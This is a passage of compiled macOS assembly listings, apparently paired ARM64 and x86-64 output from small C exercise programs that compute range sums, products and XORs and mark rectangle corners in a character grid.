tbnz w8, #0, LBB5_14
b LBB5_13
LBB5_13:
bl ___stack_chk_fail
LBB5_14:
ldr w0, [x19, #4] ; 4-byte Folded Reload
sub sp, x29, #16
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d%d"
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _max ## -- Begin function max
.p2align 4, 0x90
_max: ## @max
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -8(%rbp)
movl %esi, -12(%rbp)
movl -8(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB0_2
## %bb.1:
movl -12(%rbp), %eax
movl %eax, -4(%rbp)
jmp LBB0_3
LBB0_2:
movl -8(%rbp), %eax
movl %eax, -4(%rbp)
LBB0_3:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _min ## -- Begin function min
.p2align 4, 0x90
_min: ## @min
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -8(%rbp)
movl %esi, -12(%rbp)
movl -8(%rbp), %eax
cmpl -12(%rbp), %eax
jle LBB1_2
## %bb.1:
movl -12(%rbp), %eax
movl %eax, -4(%rbp)
jmp LBB1_3
LBB1_2:
movl -8(%rbp), %eax
movl %eax, -4(%rbp)
LBB1_3:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _N ## -- Begin function N
.p2align 4, 0x90
_N: ## @N
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq %rdx, -16(%rbp)
movl %ecx, -20(%rbp)
movl $0, -24(%rbp)
movl -4(%rbp), %eax
movl %eax, -28(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl -8(%rbp), %eax
jg LBB2_4
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
movslq -28(%rbp), %rcx
movl (%rax,%rcx,4), %eax
addl -24(%rbp), %eax
movl %eax, -24(%rbp)
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB2_1
LBB2_4:
movl -24(%rbp), %eax
cltd
idivl -20(%rbp)
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _M ## -- Begin function M
.p2align 4, 0x90
_M: ## @M
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq %rdx, -16(%rbp)
movl %ecx, -20(%rbp)
movl $1, -24(%rbp)
movl -4(%rbp), %eax
movl %eax, -28(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl -8(%rbp), %eax
jg LBB3_4
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movl -24(%rbp), %eax
cltd
idivl -20(%rbp)
movl %edx, -32(%rbp) ## 4-byte Spill
movq -16(%rbp), %rax
movslq -28(%rbp), %rcx
movl (%rax,%rcx,4), %eax
cltd
idivl -20(%rbp)
movl -32(%rbp), %eax ## 4-byte Reload
imull %edx, %eax
cltd
idivl -20(%rbp)
movl %edx, -24(%rbp)
## %bb.3: ## in Loop: Header=BB3_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB3_1
LBB3_4:
movl -24(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _H ## -- Begin function H
.p2align 4, 0x90
_H: ## @H
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq %rdx, -16(%rbp)
movl %ecx, -20(%rbp)
movq -16(%rbp), %rax
movslq -4(%rbp), %rcx
movl (%rax,%rcx,4), %eax
movl %eax, -24(%rbp)
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl -8(%rbp), %eax
jg LBB4_4
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movq -16(%rbp), %rax
movslq -28(%rbp), %rcx
movl (%rax,%rcx,4), %eax
xorl -24(%rbp), %eax
movl %eax, -24(%rbp)
## %bb.3: ## in Loop: Header=BB4_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB4_1
LBB4_4:
movl -24(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $528, %rsp ## imm = 0x210
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -420(%rbp)
leaq -416(%rbp), %rdi
movl $404, %esi ## imm = 0x194
callq ___bzero
leaq L_.str(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
leaq -424(%rbp), %rsi
leaq -428(%rbp), %rdx
callq _scanf
movl -428(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -512(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -440(%rbp)
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -512(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -504(%rbp) ## 8-byte Spill
movq %rax, -448(%rbp)
movl -428(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -496(%rbp) ## 8-byte Spill
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -496(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -488(%rbp) ## 8-byte Spill
movq %rax, -456(%rbp)
movl -428(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -480(%rbp) ## 8-byte Spill
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -480(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -472(%rbp) ## 8-byte Spill
movq %rax, -464(%rbp)
movl $0, -432(%rbp)
LBB5_1: ## =>This Inner Loop Header: Depth=1
movl -432(%rbp), %eax
cmpl -424(%rbp), %eax
jge LBB5_4
## %bb.2: ## in Loop: Header=BB5_1 Depth=1
movslq -432(%rbp), %rax
leaq -416(%rbp), %rsi
shlq $2, %rax
addq %rax, %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.3: ## in Loop: Header=BB5_1 Depth=1
movl -432(%rbp), %eax
addl $1, %eax
movl %eax, -432(%rbp)
jmp LBB5_1
LBB5_4:
movl $0, -432(%rbp)
LBB5_5: ## =>This Inner Loop Header: Depth=1
movl -432(%rbp), %eax
cmpl -428(%rbp), %eax
jge LBB5_8
## %bb.6: ## in Loop: Header=BB5_5 Depth=1
movq -488(%rbp), %rdx ## 8-byte Reload
movq -504(%rbp), %rsi ## 8-byte Reload
movslq -432(%rbp), %rax
shlq $2, %rax
addq %rax, %rsi
movslq -432(%rbp), %rax
shlq $2, %rax
addq %rax, %rdx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _scanf
movq -504(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movq -488(%rbp), %rax ## 8-byte Reload
movslq -432(%rbp), %rdx
movl (%rcx,%rdx,4), %edi
movslq -432(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq -416(%rbp), %rdx
movl -424(%rbp), %ecx
callq _N
movq -504(%rbp), %rcx ## 8-byte Reload
movl %eax, %edx
movq -488(%rbp), %rax ## 8-byte Reload
movl %edx, -524(%rbp) ## 4-byte Spill
movslq -432(%rbp), %rdx
movl (%rcx,%rdx,4), %edi
movslq -432(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq -416(%rbp), %rdx
movl -424(%rbp), %ecx
callq _M
movl -524(%rbp), %edi ## 4-byte Reload
movl %eax, %esi
callq _min
movq -504(%rbp), %rcx ## 8-byte Reload
movl %eax, %edx
movq -488(%rbp), %rax ## 8-byte Reload
movl %edx, -516(%rbp) ## 4-byte Spill
movslq -432(%rbp), %rdx
movl (%rcx,%rdx,4), %edi
movslq -432(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq -416(%rbp), %rdx
movl -424(%rbp), %ecx
callq _N
movq -504(%rbp), %rcx ## 8-byte Reload
movl %eax, %edx
movq -488(%rbp), %rax ## 8-byte Reload
movl %edx, -520(%rbp) ## 4-byte Spill
movslq -432(%rbp), %rdx
movl (%rcx,%rdx,4), %edi
movslq -432(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq -416(%rbp), %rdx
movl -424(%rbp), %ecx
callq _M
movl -520(%rbp), %edi ## 4-byte Reload
movl %eax, %esi
callq _max
movl -516(%rbp), %edi ## 4-byte Reload
movl %eax, %esi
leaq -416(%rbp), %rdx
movl -424(%rbp), %ecx
callq _H
movl %eax, %edx
movq -472(%rbp), %rax ## 8-byte Reload
movslq -432(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
## %bb.7: ## in Loop: Header=BB5_5 Depth=1
movl -432(%rbp), %eax
addl $1, %eax
movl %eax, -432(%rbp)
jmp LBB5_5
LBB5_8:
movl $0, -432(%rbp)
LBB5_9: ## =>This Inner Loop Header: Depth=1
movl -432(%rbp), %eax
cmpl -428(%rbp), %eax
jge LBB5_12
## %bb.10: ## in Loop: Header=BB5_9 Depth=1
movq -472(%rbp), %rax ## 8-byte Reload
movslq -432(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
## %bb.11: ## in Loop: Header=BB5_9 Depth=1
movl -432(%rbp), %eax
addl $1, %eax
movl %eax, -432(%rbp)
jmp LBB5_9
LBB5_12:
movl $0, -420(%rbp)
movq -440(%rbp), %rax
movq %rax, %rsp
movl -420(%rbp), %eax
movl %eax, -528(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB5_14
## %bb.13:
movl -528(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB5_14:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d%d"
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/117327649.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #128
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-12]
stur wzr, [x29, #-20]
stur wzr, [x29, #-24]
stur wzr, [x29, #-28]
stur wzr, [x29, #-32]
sub sp, sp, #16
mov x9, sp
sub x8, x29, #16
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
add sp, sp, #16
stur wzr, [x29, #-36]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
; Child Loop BB0_5 Depth 3
; Child Loop BB0_38 Depth 2
ldur w8, [x29, #-36]
ldur w9, [x29, #-16]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_43
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
sub sp, sp, #16
mov x9, sp
sub x8, x29, #52
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
add sp, sp, #16
ldur w8, [x29, #-52]
mov x9, x8
stur x9, [x29, #-96] ; 8-byte Folded Spill
ldur w8, [x29, #-52]
add w8, w8, #1
; kill: def $x8 killed $w8
stur x8, [x29, #-112] ; 8-byte Folded Spill
mov x10, sp
stur x10, [x29, #-64]
mul x9, x9, x8
lsr x9, x9, #0
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-104] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x11, [x29, #-104] ; 8-byte Folded Reload
ldur x9, [x29, #-96] ; 8-byte Folded Reload
mov x10, sp
subs x10, x10, x11
mov sp, x10
stur x10, [x29, #-88] ; 8-byte Folded Spill
stur x9, [x29, #-72]
stur x8, [x29, #-80]
stur wzr, [x29, #-20]
stur wzr, [x29, #-24]
stur wzr, [x29, #-28]
stur wzr, [x29, #-32]
stur wzr, [x29, #-48]
stur wzr, [x29, #-40]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_5 Depth 3
ldur w8, [x29, #-40]
ldur w9, [x29, #-52]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_18
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldur x8, [x29, #-88] ; 8-byte Folded Reload
ldur x10, [x29, #-112] ; 8-byte Folded Reload
ldursw x9, [x29, #-40]
mul x9, x9, x10
add x8, x8, x9
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
add sp, sp, #16
stur wzr, [x29, #-44]
b LBB0_5
LBB0_5: ; Parent Loop BB0_1 Depth=1
; Parent Loop BB0_3 Depth=2
; => This Inner Loop Header: Depth=3
ldur w8, [x29, #-44]
ldur w9, [x29, #-52]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_16
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=3
ldur x8, [x29, #-88] ; 8-byte Folded Reload
ldur x10, [x29, #-112] ; 8-byte Folded Reload
ldursw x9, [x29, #-40]
mul x9, x9, x10
add x8, x8, x9
ldursw x9, [x29, #-44]
ldrsb w8, [x8, x9]
subs w8, w8, #42
cset w8, ne
tbnz w8, #0, LBB0_9
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-48]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-40]
stur w8, [x29, #-20]
ldur w8, [x29, #-44]
stur w8, [x29, #-24]
ldur w8, [x29, #-48]
add w8, w8, #1
stur w8, [x29, #-48]
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_5 Depth=3
ldur x8, [x29, #-88] ; 8-byte Folded Reload
ldur x10, [x29, #-112] ; 8-byte Folded Reload
ldursw x9, [x29, #-40]
mul x9, x9, x10
add x8, x8, x9
ldursw x9, [x29, #-44]
ldrsb w8, [x8, x9]
subs w8, w8, #42
cset w8, ne
tbnz w8, #0, LBB0_12
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-48]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-40]
stur w8, [x29, #-28]
ldur w8, [x29, #-44]
stur w8, [x29, #-32]
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-48]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB0_14
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_3 Depth=2
b LBB0_16
LBB0_14: ; in Loop: Header=BB0_5 Depth=3
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-44]
add w8, w8, #1
stur w8, [x29, #-44]
b LBB0_5
LBB0_16: ; in Loop: Header=BB0_3 Depth=2
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_3 Depth=2
ldur w8, [x29, #-40]
add w8, w8, #1
stur w8, [x29, #-40]
b LBB0_3
LBB0_18: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_21
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-24]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_21
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_1 Depth=1
ldur x9, [x29, #-88] ; 8-byte Folded Reload
ldur x11, [x29, #-112] ; 8-byte Folded Reload
ldursw x8, [x29, #-28]
mul x8, x8, x11
add x8, x9, x8
ldursw x10, [x29, #-24]
add x10, x8, x10
mov w8, #42
strb w8, [x10]
ldursw x10, [x29, #-20]
mul x10, x10, x11
add x9, x9, x10
ldursw x10, [x29, #-32]
add x9, x9, x10
strb w8, [x9]
b LBB0_37
LBB0_21: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-24]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_24
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-24]
ldur w9, [x29, #-52]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_24
b LBB0_23
LBB0_23: ; in Loop: Header=BB0_1 Depth=1
ldur x9, [x29, #-88] ; 8-byte Folded Reload
ldur x11, [x29, #-112] ; 8-byte Folded Reload
ldursw x8, [x29, #-20]
mul x8, x8, x11
add x8, x9, x8
ldur w10, [x29, #-24]
add w10, w10, #1
add x10, x8, w10, sxtw
mov w8, #42
strb w8, [x10]
ldursw x10, [x29, #-28]
mul x10, x10, x11
add x9, x9, x10
ldur w10, [x29, #-32]
add w10, w10, #1
add x9, x9, w10, sxtw
strb w8, [x9]
b LBB0_36
LBB0_24: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-24]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_27
b LBB0_25
LBB0_25: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-32]
ldur w9, [x29, #-52]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_27
b LBB0_26
LBB0_26: ; in Loop: Header=BB0_1 Depth=1
ldur x9, [x29, #-88] ; 8-byte Folded Reload
ldur x11, [x29, #-112] ; 8-byte Folded Reload
ldursw x8, [x29, #-20]
mul x8, x8, x11
add x8, x9, x8
ldur w10, [x29, #-24]
subs w10, w10, #1
add x10, x8, w10, sxtw
mov w8, #42
strb w8, [x10]
ldursw x10, [x29, #-28]
mul x10, x10, x11
add x9, x9, x10
ldur w10, [x29, #-32]
subs w10, w10, #1
add x9, x9, w10, sxtw
strb w8, [x9]
b LBB0_35
LBB0_27: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_30
b LBB0_28
LBB0_28: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-52]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_30
b LBB0_29
LBB0_29: ; in Loop: Header=BB0_1 Depth=1
ldur x9, [x29, #-88] ; 8-byte Folded Reload
ldur x11, [x29, #-112] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
add w10, w8, #1
; implicit-def: $x8
mov x8, x10
sxtw x8, w8
mul x8, x8, x11
add x8, x9, x8
ldursw x10, [x29, #-24]
add x10, x8, x10
mov w8, #42
strb w8, [x10]
ldur w10, [x29, #-28]
add w12, w10, #1
; implicit-def: $x10
mov x10, x12
sxtw x10, w10
mul x10, x10, x11
add x9, x9, x10
ldursw x10, [x29, #-32]
add x9, x9, x10
strb w8, [x9]
b LBB0_34
LBB0_30: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_33
b LBB0_31
LBB0_31: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-52]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_33
b LBB0_32
LBB0_32: ; in Loop: Header=BB0_1 Depth=1
ldur x9, [x29, #-88] ; 8-byte Folded Reload
ldur x11, [x29, #-112] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
subs w10, w8, #1
; implicit-def: $x8
mov x8, x10
sxtw x8, w8
mul x8, x8, x11
add x8, x9, x8
ldursw x10, [x29, #-24]
add x10, x8, x10
mov w8, #42
strb w8, [x10]
ldur w10, [x29, #-28]
subs w12, w10, #1
; implicit-def: $x10
mov x10, x12
sxtw x10, w10
mul x10, x10, x11
add x9, x9, x10
ldursw x10, [x29, #-32]
add x9, x9, x10
strb w8, [x9]
b LBB0_33
LBB0_33: ; in Loop: Header=BB0_1 Depth=1
b LBB0_34
LBB0_34: ; in Loop: Header=BB0_1 Depth=1
b LBB0_35
LBB0_35: ; in Loop: Header=BB0_1 Depth=1
b LBB0_36
LBB0_36: ; in Loop: Header=BB0_1 Depth=1
b LBB0_37
LBB0_37: ; in Loop: Header=BB0_1 Depth=1
stur wzr, [x29, #-40]
b LBB0_38
LBB0_38: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-40]
ldur w9, [x29, #-52]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_41
b LBB0_39
LBB0_39: ; in Loop: Header=BB0_38 Depth=2
ldur x8, [x29, #-88] ; 8-byte Folded Reload
ldur x10, [x29, #-112] ; 8-byte Folded Reload
ldursw x9, [x29, #-40]
mul x9, x9, x10
add x8, x8, x9
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
add sp, sp, #16
b LBB0_40
LBB0_40: ; in Loop: Header=BB0_38 Depth=2
ldur w8, [x29, #-40]
add w8, w8, #1
stur w8, [x29, #-40]
b LBB0_38
LBB0_41: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-64]
mov sp, x8
b LBB0_42
LBB0_42: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-36]
add w8, w8, #1
stur w8, [x29, #-36]
b LBB0_1
LBB0_43:
ldur w8, [x29, #-12]
stur w8, [x29, #-116] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_45
b LBB0_44
LBB0_44:
bl ___stack_chk_fail
LBB0_45:
ldur w0, [x29, #-116] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%s"
l_.str.2: ; @.str.2
.asciz "%s\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $112, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
movl $0, -20(%rbp)
movl $0, -24(%rbp)
movl $0, -28(%rbp)
movl $0, -32(%rbp)
leaq L_.str(%rip), %rdi
leaq -16(%rbp), %rsi
movb $0, %al
callq _scanf
movl $0, -36(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
## Child Loop BB0_5 Depth 3
## Child Loop BB0_38 Depth 2
movl -36(%rbp), %eax
cmpl -16(%rbp), %eax
jge LBB0_43
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
leaq -52(%rbp), %rsi
callq _scanf
movl -52(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -104(%rbp) ## 8-byte Spill
movl %eax, %ecx
incl %ecx
## kill: def $rcx killed $ecx
movq %rcx, -96(%rbp) ## 8-byte Spill
movq %rsp, %rdx
movq %rdx, -64(%rbp)
imulq %rcx, %rax
callq ____chkstk_darwin
movq -104(%rbp), %rcx ## 8-byte Reload
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -96(%rbp), %rax ## 8-byte Reload
movq %rsp, %rdx
movq %rdx, -88(%rbp) ## 8-byte Spill
movq %rcx, -72(%rbp)
movq %rax, -80(%rbp)
movl $0, -20(%rbp)
movl $0, -24(%rbp)
movl $0, -28(%rbp)
movl $0, -32(%rbp)
movl $0, -48(%rbp)
movl $0, -40(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_5 Depth 3
movl -40(%rbp), %eax
cmpl -52(%rbp), %eax
jge LBB0_18
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movq -88(%rbp), %rsi ## 8-byte Reload
movq -96(%rbp), %rcx ## 8-byte Reload
movslq -40(%rbp), %rax
imulq %rcx, %rax
addq %rax, %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _scanf
movl $0, -44(%rbp)
LBB0_5: ## Parent Loop BB0_1 Depth=1
## Parent Loop BB0_3 Depth=2
## => This Inner Loop Header: Depth=3
movl -44(%rbp), %eax
cmpl -52(%rbp), %eax
jge LBB0_16
## %bb.6: ## in Loop: Header=BB0_5 Depth=3
movq -88(%rbp), %rax ## 8-byte Reload
movq -96(%rbp), %rdx ## 8-byte Reload
movslq -40(%rbp), %rcx
imulq %rdx, %rcx
addq %rcx, %rax
movslq -44(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $42, %eax
jne LBB0_9
## %bb.7: ## in Loop: Header=BB0_5 Depth=3
cmpl $0, -48(%rbp)
jne LBB0_9
## %bb.8: ## in Loop: Header=BB0_5 Depth=3
movl -40(%rbp), %eax
movl %eax, -20(%rbp)
movl -44(%rbp), %eax
movl %eax, -24(%rbp)
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
LBB0_9: ## in Loop: Header=BB0_5 Depth=3
movq -88(%rbp), %rax ## 8-byte Reload
movq -96(%rbp), %rdx ## 8-byte Reload
movslq -40(%rbp), %rcx
imulq %rdx, %rcx
addq %rcx, %rax
movslq -44(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $42, %eax
jne LBB0_12
## %bb.10: ## in Loop: Header=BB0_5 Depth=3
cmpl $0, -48(%rbp)
je LBB0_12
## %bb.11: ## in Loop: Header=BB0_5 Depth=3
movl -40(%rbp), %eax
movl %eax, -28(%rbp)
movl -44(%rbp), %eax
movl %eax, -32(%rbp)
LBB0_12: ## in Loop: Header=BB0_5 Depth=3
cmpl $2, -48(%rbp)
jne LBB0_14
## %bb.13: ## in Loop: Header=BB0_3 Depth=2
jmp LBB0_16
LBB0_14: ## in Loop: Header=BB0_5 Depth=3
jmp LBB0_15
LBB0_15: ## in Loop: Header=BB0_5 Depth=3
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB0_5
LBB0_16: ## in Loop: Header=BB0_3 Depth=2
jmp LBB0_17
LBB0_17: ## in Loop: Header=BB0_3 Depth=2
movl -40(%rbp), %eax
addl $1, %eax
movl %eax, -40(%rbp)
jmp LBB0_3
LBB0_18: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
cmpl -28(%rbp), %eax
je LBB0_21
## %bb.19: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
cmpl -32(%rbp), %eax
je LBB0_21
## %bb.20: ## in Loop: Header=BB0_1 Depth=1
movq -88(%rbp), %rax ## 8-byte Reload
movq -96(%rbp), %rdx ## 8-byte Reload
movslq -28(%rbp), %rsi
